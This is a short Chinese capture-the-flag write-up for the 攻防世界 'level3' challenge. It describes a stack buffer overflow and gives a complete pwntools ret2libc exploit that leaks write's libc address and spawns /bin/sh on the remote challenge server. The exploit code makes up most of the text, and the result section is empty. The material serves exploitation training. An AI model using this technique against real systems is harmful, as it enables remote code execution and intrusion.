攻防世界新手区level3
下载附件解压之后直接拖进虚拟机,发现还是个压缩包,原来是三个压缩包的套娃,重复操作:加一下后缀.zip解压,得到题目,题目把libc也给了
checksec level3
没什么保护,而且buf明显可以溢出
查找字符串果然如题目是没有system和binsh的
那么我们可以利用write函数(因为write调用过好几次了)得出偏移量,32位程序不同于64位需要寄存器传参而是可以直接传参的。
题目还直接给了libc
看之前写的32位程序的最基本的ret2libc原理就能会了
EXP:
from pwn import *
p=remote('111.200.241.244',53112)
elf=ELF("./level3")
vul_addr=0x8048495
write_plt=elf.plt["write"]
write_got=elf.got["write"]
libc=ELF("./libc_32.so.6")
write_libc=libc.symbols["write"]
sys_libc=libc.symbols["system"]
binsh_libc=libc.search("/bin/sh").next()
padding='a'*(0x88+4)
payload1 = padding+p32(write_plt)+p32(vul_addr)+p32(1)+p32(write_got)+p32(4)
p.recvline()
p.sendline(payload1)
write_addr=u32(p.recv(4))
offsite=write_addr-write_libc
sys_addr=offsite+sys_libc
binsh_addr=offsite+binsh_libc
payload2=padding+p32(sys_addr)+p32(vul_addr)+p32(binsh_addr)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()
运行结果: